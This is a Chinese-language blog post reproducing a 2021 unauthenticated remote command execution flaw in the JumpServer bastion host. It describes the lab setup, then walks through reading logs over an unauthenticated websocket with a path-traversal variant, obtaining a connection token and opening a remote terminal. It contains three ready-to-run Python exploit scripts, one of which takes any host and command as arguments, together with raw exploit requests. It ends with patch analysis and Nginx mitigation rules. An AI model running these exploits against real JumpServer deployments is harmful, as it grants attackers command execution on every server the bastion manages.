JumpServer 远程命令执行-2021

admin 2022年1月6日01:37:46评论239 views字数 17273阅读57分34秒阅读模式

简介

JumpServer 是全球首款完全开源的堡垒机, 使用GNU GPL v2.0 开源协议, 是符合4A 的专业运维审计系统。JumpServer 使用Python / Django 进行开发。

image-20210129171923706

组件介绍:

  • Jumpserver
    • 现指 Jumpserver 管理后台,是核心组件(Core), 使用 Django Class Based View 风格开发,支持 Restful API。
  • Coco
    • 实现了 SSH Server 和 Web Terminal Server 的组件,提供 SSH 和 WebSocket 接口, 使用 Paramiko 和 Flask 开发。
  • Luna
    • 现在是 Web Terminal 前端,计划前端页面都由该项目提供,Jumpserver 只提供 API,不再负责后台渲染html等。
  • Guacamole
    • Apache 跳板机项目,Jumpserver 使用其组件实现 RDP 功能,Jumpserver 并没有修改其代码而是添加了额外的插件,支持 Jumpserver 调用

漏洞概述

2021年1月15日,JumpServer发布更新,修复了一处远程命令执行漏洞。由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求获取到日志文件获取敏感信息,或者执行相关API操作控制其中所有机器,执行任意命令。建议相关用户尽快采取措施阻止漏洞攻击。

利用流程

1.通过ws连接jumpserver的未授权api,进行日志读取 获取三个id值 (system_id,target_id,system_user_id)

2.利用 /api/v1/authentication/connection-token/?user-only=1 获取token (此token 20s内有效)

3.通过ws 连接 /koko/ws/token/?target_id 带入刚刚获取的token_id 进行执行命令

影响版本

JumpServer < v2.6.2
JumpServer < v2.5.4
JumpServer < v2.4.5
JumpServer = v1.5.9

环境搭建

安装JumpServer v2.6.1

安装脚本https://www.o2oxy.cn/wp-content/uploads/2021/01/quick_start.zip

要求Centos 7 系统,内存8G以上,cpu 2核以上

或者执行官网脚本

curl -sSL https://github.com/jumpserver/jumpserver/releases/download/v2.6.1/quick_start.sh | bash

解压缩后执行

1
./quick_start.sh 

默认即可(不引用外部redis,mysql)

进入/opt/jumpserver-installer-v2.6.2,执行

1
./jmsctl.sh start

如下图为执行正常

image-20210125201834167

降级到v2.6.1,执行

1
./jmsctl.sh upgrade v2.6.1

其他命令:

1
2
3
4
./jmsctl.sh stop
./jmsctl.sh restart
./jmsctl.sh backup
./jmsctl.sh upgrade

web后台

1
2
http://127.0.0.1:8080
https://127.0.0.1:8443

ssh/sftp访问

1
2
ssh [email protected] -p2222
sftp -P2222 [email protected]

相关资料:

https://docs.jumpserver.org

https://www.jumpserver.org

访问web端

http://127.0.0.1:8080

admin/admin

先随便创建一台同网段的Linux虚拟机192.168.132.131,然后添加到资产列表中,通过web端访问后才能获取三个id值

创建系统用户

image-20210125203131152

更新管理用户

image-20210125202453350

资产列表添加主机

image-20210125203257360

资产授权

image-20210125203538811

打开web终端

image-20210125203606871

image-20210125203708238

脚本复现

脚本1

1、运行脚本获取到asset、system_user、user三个ID值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import os
import asyncio
import aioconsole
import websockets
import requests
import json

url = "/api/v1/authentication/connection-token/?user-only=1"


# def get_celery_task_log_path(task_id):
# task_id = str(task_id)
# rel_path = os.path.join(task_id[0], task_id[1], task_id + ".log")
# path = os.path.join("/opt/jumpserver/", rel_path)
# return path


async def send_msg(websocket, _text):
if _text == "exit":
print(f'you have enter "exit", goodbye')
await websocket.close(reason="user exit")
return False
await websocket.send(_text)


async def send_loop(ws, session_id):
while True:
cmdline = await aioconsole.ainput()
await send_msg(
ws,
json.dumps(
{"id": session_id, "type": "TERMINAL_DATA", "data": cmdline + "\n"}
),
)


async def recv_loop(ws):
while True:
recv_text = await ws.recv()
ret = json.loads(recv_text)
if ret.get("type", "TERMINAL_DATA"):
await aioconsole.aprint(ret["data"], end="")


# 客户端主逻辑
async def main_logic():
print("#######start ws")
async with websockets.connect(target) as client:
recv_text = await client.recv()
print(f"{recv_text}")
session_id = json.loads(recv_text)["id"]
print("get ws id:" + session_id)
print("###############")
print("init ws")
print("###############")
inittext = json.dumps(
{
"id": session_id,
"type": "TERMINAL_INIT",
"data": '{"cols":164,"rows":17}',
}
)
await send_msg(client, inittext)
await asyncio.gather(recv_loop(client), send_loop(client, session_id))


if __name__ == "__main__":
host = "http://192.168.132.130:8080"
cmd = "whoami"
if host[-1] == "/":
host = host[:-1]
print(host)
data = {"user": "61ec790f-b47b-4cb5-b598-548a559ba44e", "asset": "90e76a94-e014-495a-80e4-81c2e01de480",
"system_user": "8bdae30c-dada-4676-90fe-797941d569cd"}
print("##################")
print("get token url:%s" % (host + url,))
print("##################")
res = requests.post(host + url, json=data)
token = res.json()["token"]
print("token:%s" % (token,))
print("##################")
target = (
"ws://" + host.replace("http://", "") + "/koko/ws/token/?target_id=" + token
)
print("target ws:%s" % (target,))
asyncio.get_event_loop().run_until_complete(main_logic())

image-20210125175214316

1
GET /api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=90e76a94-e014-495a-80e4-81c2e01de480&cache_policy=1&system_user_id=8bdae30c-dada-4676-90fe-797941d569cd&user_id=61ec790f-b47b-4cb5-b598-548a559ba44e

2、将asset,system_user,user三个ID值放入下面脚本,Getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import os
import asyncio
import aioconsole
import websockets
import requests
import json

url = "/api/v1/authentication/connection-token/?user-only=1"


def get_celery_task_log_path(task_id):
task_id = str(task_id)
rel_path = os.path.join(task_id[0], task_id[1], task_id + ".log")
path = os.path.join("/opt/jumpserver/", rel_path)
return path


async def send_msg(websocket, _text):
if _text == "exit":
print(f'you have enter "exit", goodbye')
await websocket.close(reason="user exit")
return False
await websocket.send(_text)


async def send_loop(ws, session_id):
while True:
cmdline = await aioconsole.ainput()
await send_msg(
ws,
json.dumps(
{"id": session_id, "type": "TERMINAL_DATA", "data": cmdline + "\n"}
),
)


async def recv_loop(ws):
while True:
recv_text = await ws.recv()
ret = json.loads(recv_text)
if ret.get("type", "TERMINAL_DATA"):
await aioconsole.aprint(ret["data"], end="")


# 客户端主逻辑
async def main_logic():
print("#######start ws")
async with websockets.connect(target) as client:
recv_text = await client.recv()
print(f"{recv_text}")
session_id = json.loads(recv_text)["id"]
print("get ws id:" + session_id)
print("###############")
print("init ws")
print("###############")
inittext = json.dumps(
{
"id": session_id,
"type": "TERMINAL_INIT",
"data": '{"cols":164,"rows":17}',
}
)
await send_msg(client, inittext)
await asyncio.gather(recv_loop(client), send_loop(client, session_id))


if __name__ == "__main__":
host = "http://192.168.132.130:8080"
cmd = "whoami"
if host[-1] == "/":
host = host[:-1]
print(host)
data = {"user": "61ec790f-b47b-4cb5-b598-548a559ba44e", "asset": "90e76a94-e014-495a-80e4-81c2e01de480",
"system_user": "8bdae30c-dada-4676-90fe-797941d569cd"}
print("##################")
print("get token url:%s" % (host + url,))
print("##################")
res = requests.post(host + url, json=data)
token = res.json()["token"]
print("token:%s", (token,))
print("##################")
target = (
"ws://" + host.replace("http://", "") + "/koko/ws/token/?target_id=" + token
)
print("target ws:%s" % (target,))
asyncio.get_event_loop().run_until_complete(main_logic())

image-20210125215007165

成功连接到某一台资产192.168.132.131

脚本2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
# -*- coding: utf-8 -*-

# import requests

# import json

# data={"user":"4320ce47-e0e0-4b86-adb1-675ca611ea0c","asset":"ccb9c6d7-6221-445e-9fcc-b30c95162825","system_user":"79655e4e-1741-46af-a793-fff394540a52"}

#

# url_host='http://192.168.1.73:8080'

#

# def get_token():

# url = url_host+'/api/v1/users/connection-token/?user-only=1'

# url =url_host+'/api/v1/authentication/connection-token/?user-only=1'

# response = requests.post(url, json=data).json()

# print(response)

# ret=requests.get(url_host+'/api/v1/authentication/connection-token/?token=%s'%response['token'])

# print(ret.text)

# get_token()

import asyncio

import websockets

import requests

import json

url = "/api/v1/authentication/connection-token/?user-only=None"



# 向服务器端发送认证后的消息

async def send_msg(websocket,_text):

if _text == "exit":

print(f'you have enter "exit", goodbye')

await websocket.close(reason="user exit")

return False

await websocket.send(_text)

recv_text = await websocket.recv()

print(f"{recv_text}")



# 客户端主逻辑

async def main_logic(cmd):

print("#######start ws")

async with websockets.connect(target) as websocket:

recv_text = await websocket.recv()

print(f"{recv_text}")

resws=json.loads(recv_text)

id = resws['id']

print("get ws id:"+id)

print("###############")

print("init ws")

print("###############")

inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})

await send_msg(websocket,inittext)

for i in range(20):

recv_text = await websocket.recv()

print(f"{recv_text}")

print("###############")

print("exec cmd: ls")

cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})

print(cmdtext)

await send_msg(websocket, cmdtext)

for i in range(20):

recv_text = await websocket.recv()

print(f"{recv_text}")

print('#######finish')





if __name__ == '__main__':

try:

import sys

host=sys.argv[1]

cmd=sys.argv[2]

if host[-1]=='/':

host=host[:-1]

print(host)

data = {"user": "4320ce47-e0e0-4b86-adb1-675ca611ea0c", "asset": "ccb9c6d7-6221-445e-9fcc-b30c95162825",

"system_user": "79655e4e-1741-46af-a793-fff394540a52"}

print("##################")

print("get token url:%s" % (host + url,))

print("##################")

res = requests.post(host + url, json=data)

token = res.json()["token"]

print("token:%s", (token,))

print("##################")

target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token

print("target ws:%s" % (target,))

asyncio.get_event_loop().run_until_complete(main_logic(cmd))

except:

print("python jumpserver.py http://192.168.1.73 whoami")


手工复现

插件下载:

https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn/related

插件验证websocket未授权

url:ws://192.168.132.130:8080/ws/ops/tasks/log/

Request:{"task":"/opt/jumpserver/logs/jumpserver"}

查看Task id的一些信息(看不到密码)

image-20210125204724544

获取到Task id为d4025be3-c3b6-49ca-87c6-97472450f08f

Request:{"task":"d4025be3-c3b6-49ca-87c6-97472450f08f"}

image-20210125205052694

1
2
3
{"task":"d4025be3-c3b6-49ca-87c6-97472450f08f"}
{"message": "\r\n"}
{"message": "2021-01-25 16:40:03 \u4efb\u52a1\u5f00\u59cb: \u6d4b\u8bd5\u8d44\u4ea7\u53ef\u8fde\u63a5\u6027: test(192.168.132.131)\r\r\nPLAY [\u6d4b\u8bd5\u8d44\u4ea7\u53ef\u8fde\u63a5\u6027: test(192.168.132.131)] *****************************************\r\r\nTASK [ping] ********************************************************************\r\r\n\u001b[0;32mok: [test]\u001b[0m\r\r\n2021-01-25 16:40:15 \u4efb\u52a1\u7ed3\u675f\r\r\n.\r\n\r\n.\r\r\nTask assets.tasks.asset_connectivity.test_asset_connectivity_manual[d4025be3-c3b6-49ca-87c6-97472450f08f] succeeded in 13.248451138999826s: (True, '')\r\r\n", "task": "d4025be3-c3b6-49ca-87c6-97472450f08f"}

验证未授权存在。

获取 asset_id,system_user_id,user_id

1
2
ws://10.91.198.20:8989/ws/ops/tasks/log/
{"task":"/opt/jumpserver/logs/gunicorn"} or {"task":"/../../../../../../../../../../../..//opt/jumpserver/logs/gunicorn"}

image-20210129153604280

得到

1
"system_user": "8bdae30c-dada-4676-90fe-797941d569cd", "user": "61ec790f-b47b-4cb5-b598-548a559ba44e", "asset": "90e76a94-e014-495a-80e4-81c2e01de480"

获取token

1
2
3
4
5
6
7
8
9
10
POST /api/v1/users/connection-token/?user-only=1 HTTP/1.1
Host: 192.168.132.130:8080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.25.1
Content-Length: 152
Content-Type: application/json

{"system_user": "8bdae30c-dada-4676-90fe-797941d569cd", "user": "61ec790f-b47b-4cb5-b598-548a559ba44e", "asset": "90e76a94-e014-495a-80e4-81c2e01de480"}

image-20210129155636901

 获取到token:
1
{"token":"f1126d5d-6437-4aeb-a7f0-da5c9e76c5b7"}

有效期只有20s

Py-Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import json

data={"user": "61ec790f-b47b-4cb5-b598-548a559ba44e", "asset": "90e76a94-e014-495a-80e4-81c2e01de480",
"system_user": "8bdae30c-dada-4676-90fe-797941d569cd"}

url_host='http://192.168.132.130:8080'
proxies={'http':'http://127.0.0.1:8080'}

def get_token():
url = url_host+'/api/v1/users/connection-token/?user-only=1'
response = requests.post(url, json=data,proxies=proxies).json()
print(response)
return response['token']
get_token()

获取响应的通讯ID

ws://192.168.132.130:8080/koko/ws/token/?target_id=f1126d5d-6437-4aeb-a7f0-da5c9e76c5b7

image-20210129155659430

之后通过临时token 进行ws的访问,进而命令执行。

三个值在日志中体现如下:

1、在docker中的core中gunicorn.log文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[root@www jumpserver]# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
d622578bafab jumpserver/nginx:alpine2 "sh -c 'crond -b -d …" About an hour ago Up About an hour (healthy) 0.0.0.0:8080->80/tcp, 0.0.0.0:8443->443/tcp jms_nginx
1027e9f8f2ec jumpserver/guacamole:v2.6.1 "/init" About an hour ago Up About an hour (healthy) 8080/tcp jms_guacamole
23f1a02bfd9d jumpserver/core:v2.6.1 "./entrypoint.sh sta…" About an hour ago Up About an hour (healthy) 8070/tcp, 8080/tcp jms_celery
fceeb00ef925 jumpserver/luna:v2.6.1 "/docker-entrypoint.…" About an hour ago Up About an hour (healthy) 80/tcp jms_luna
f9dbd7a214a1 jumpserver/koko:v2.6.1 "./entrypoint.sh" About an hour ago Up About an hour (healthy) 0.0.0.0:2222->2222/tcp, 5000/tcp jms_koko
de0493c1c684 jumpserver/lina:v2.6.1 "/docker-entrypoint.…" About an hour ago Up About an hour (healthy) 80/tcp jms_lina
b58ecd6cd3d8 jumpserver/core:v2.6.1 "./entrypoint.sh sta…" About an hour ago Up About an hour (healthy) 8070/tcp, 8080/tcp jms_core
72599fc5b96e jumpserver/redis:6-alpine "docker-entrypoint.s…" 3 days ago Up 3 hours (healthy) 6379/tcp jms_redis
c2cecdd822bc jumpserver/mysql:5 "docker-entrypoint.s…" 3 days ago Up 3 hours (healthy) 3306/tcp, 33060/tcp jms_mysql
[root@www jumpserver]# docker exec -it b58ecd6cd3d8 bash
root@b58ecd6cd3d8:/opt/jumpserver# ls
apps data entrypoint.sh logs release tmp
config_example.yml Dockerfile jms README_EN.md requirements utils
config.yml docs LICENSE README.md run_server.py Vagrantfile
root@b58ecd6cd3d8:/opt/jumpserver# cd logs
root@b58ecd6cd3d8:/opt/jumpserver/logs# ls
ansible.log celery_heavy_tasks.log gunicorn.log
beat.log celery_node_tree.log jumpserver.log
celery_ansible.log daphne.log unexpected_exception.log
celery_check_asset_perm_expired.log drf_exception.log
celery_default.log flower.log
root@b58ecd6cd3d8:/opt/jumpserver/logs# cat gunicorn.log | grep api/v1/perms/asset-permissions/user/validate
192.168.250.6 [25/Jan/2021:17:03:58 +0800] "GET /api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=90e76a94-e014-495a-80e4-81c2e01de480&cache_policy=1&system_user_id=8bdae30c-dada-4676-90fe-797941d569cd&user_id=61ec790f-b47b-4cb5-b598-548a559ba44e HTTP/1.1" 200 12
192.168.250.6 [25/Jan/2021:17:03:58 +0800] "GET /api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=90e76a94-e014-495a-80e4-81c2e01de480&cache_policy=1&system_user_id=8bdae30c-dada-4676-90fe-797941d569cd&user_id=61ec790f-b47b-4cb5-b598-548a559ba44e HTTP/1.1" 200 12
192.168.250.6 [25/Jan/2021:17:04:22 +0800] "GET /api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=90e76a94-e014-495a-80e4-81c2e01de480&cache_policy=1&system_user_id=8bdae30c-dada-4676-90fe-797941d569cd&user_id=61ec790f-b47b-4cb5-b598-548a559ba44e HTTP/1.1" 200 12
192.168.250.6 [25/Jan/2021:17:44:13 +0800] "GET /api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=90e76a94-e014-495a-80e4-81c2e01de480&cache_policy=1&system_user_id=8bdae30c-dada-4676-90fe-797941d569cd&user_id=61ec790f-b47b-4cb5-b598-548a559ba44e HTTP/1.1" 200 12
192.168.250.6 [25/Jan/2021:18:02:16 +0800] "GET /api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=90e76a94-e014-495a-80e4-81c2e01de480&cache_policy=1&system_user_id=8bdae30c-dada-4676-90fe-797941d569cd&user_id=61ec790f-b47b-4cb5-b598-548a559ba44e HTTP/1.1" 200 12
root@b58ecd6cd3d8:/opt/jumpserver/logs#

2、

代码分析

查看代码修改记录

1、查看单个文件

https://github.com/jumpserver/jumpserver/blob/master/apps/authentication/api/auth.py

2、查看历史记录

将github.com替换为github.githistory.xyz

3、查看修改日期2021-01-14

https://githistory.xyz/jumpserver/jumpserver/blob/db6f7f66b2e5e557081cb561029f64af0a1f80c4/apps/ops/ws.py

https://github.com/jumpserver/jumpserver/commit/db6f7f66b2e5e557081cb561029f64af0a1f80c4

image-20210218163819021

代码调用逻辑

img

img

web终端地方存在相关token操作的js

1
2
3
4
5
6
7
8
9
let wsURL = baseWsUrl + '/koko/ws/terminal/?' + urlParams.toString();
switch (urlParams.get("type")) {
case 'token':
wsURL = baseWsUrl + "/koko/ws/token/?" + urlParams.toString();
break
default:
}
ws = new WebSocket(wsURL, ["JMS-KOKO"]);
term = createTerminalById(elementId)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
func (s *server) websocketHandlers(router *gin.RouterGroup) { #web终端地方存在相关token操作的js的对应服务端/ws/token 路由
wsGroup := router.Group("/ws/")

wsGroup.Group("/terminal").Use(
s.middleSessionAuth()).GET("/", s.processTerminalWebsocket)

wsGroup.Group("/elfinder").Use(
s.middleSessionAuth()).GET("/", s.processElfinderWebsocket)

wsGroup.Group("/token").GET("/", s.processTokenWebsocket)
}

func (s *server) processTokenWebsocket(ctx *gin.Context) { #判断是否有token,并查询相应的token对应的参数并运行虚拟终端
tokenId, _ := ctx.GetQuery("target_id")
tokenUser := service.GetTokenAsset(tokenId)
if tokenUser.UserID == "" {
logger.Errorf("Token is invalid: %s", tokenId)
ctx.AbortWithStatus(http.StatusBadRequest)
return
}
currentUser := service.GetUserDetail(tokenUser.UserID)
if currentUser == nil {
logger.Errorf("Token userID is invalid: %s", tokenUser.UserID)
ctx.AbortWithStatus(http.StatusBadRequest)
return
}
targetType := TargetTypeAsset
targetId := strings.ToLower(tokenUser.AssetID)
systemUserId := tokenUser.SystemUserID
s.runTTY(ctx, currentUser, targetType, targetId, systemUserId)
}

浏览器体现方式

image-20210218174232535

image-20210218174240992

修复方式

官方修复方式:

https://blog.fit2cloud.com/?p=1761

  1. 将JumpServer升级至安全版本;
  2. 临时修复方案:

修改 Nginx 配置文件屏蔽漏洞接口

1
2
3
4
5
/api/v1/authentication/connection-token/



/api/v1/users/connection-token/

Nginx 配置文件位置

1
2
3
4
5
6
7
8
# 社区老版本
/etc/nginx/conf.d/jumpserver.conf

# 企业老版本
jumpserver-release/nginx/http_server.conf

# 新版本在
jumpserver-release/compose/config_static/http_server.conf

修改 Nginx 配置文件实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 保证在 /api 之前 和 / 之前
location /api/v1/authentication/connection-token/ {
return 403;
}

location /api/v1/users/connection-token/ {
return 403;
}

# 新增以上这些
location /api/ {
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://core:8080;
}


...

修改完成后重启 nginx

1
2
3
4
5
docker方式: 
docker restart jms_nginx

nginx方式:
systemctl restart nginx

修复验证

1
2
3
4
5
$ wget https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh 

# 使用方法 bash jms_bug_check.sh HOST
$ bash jms_bug_check.sh demo.jumpserver.org
漏洞已修复

FROM :b0urne.top | Author:b0urne

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:37:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JumpServer 远程命令执行-2021http://cn-sec.com/archives/722000.html

发表评论

匿名网友 填写信息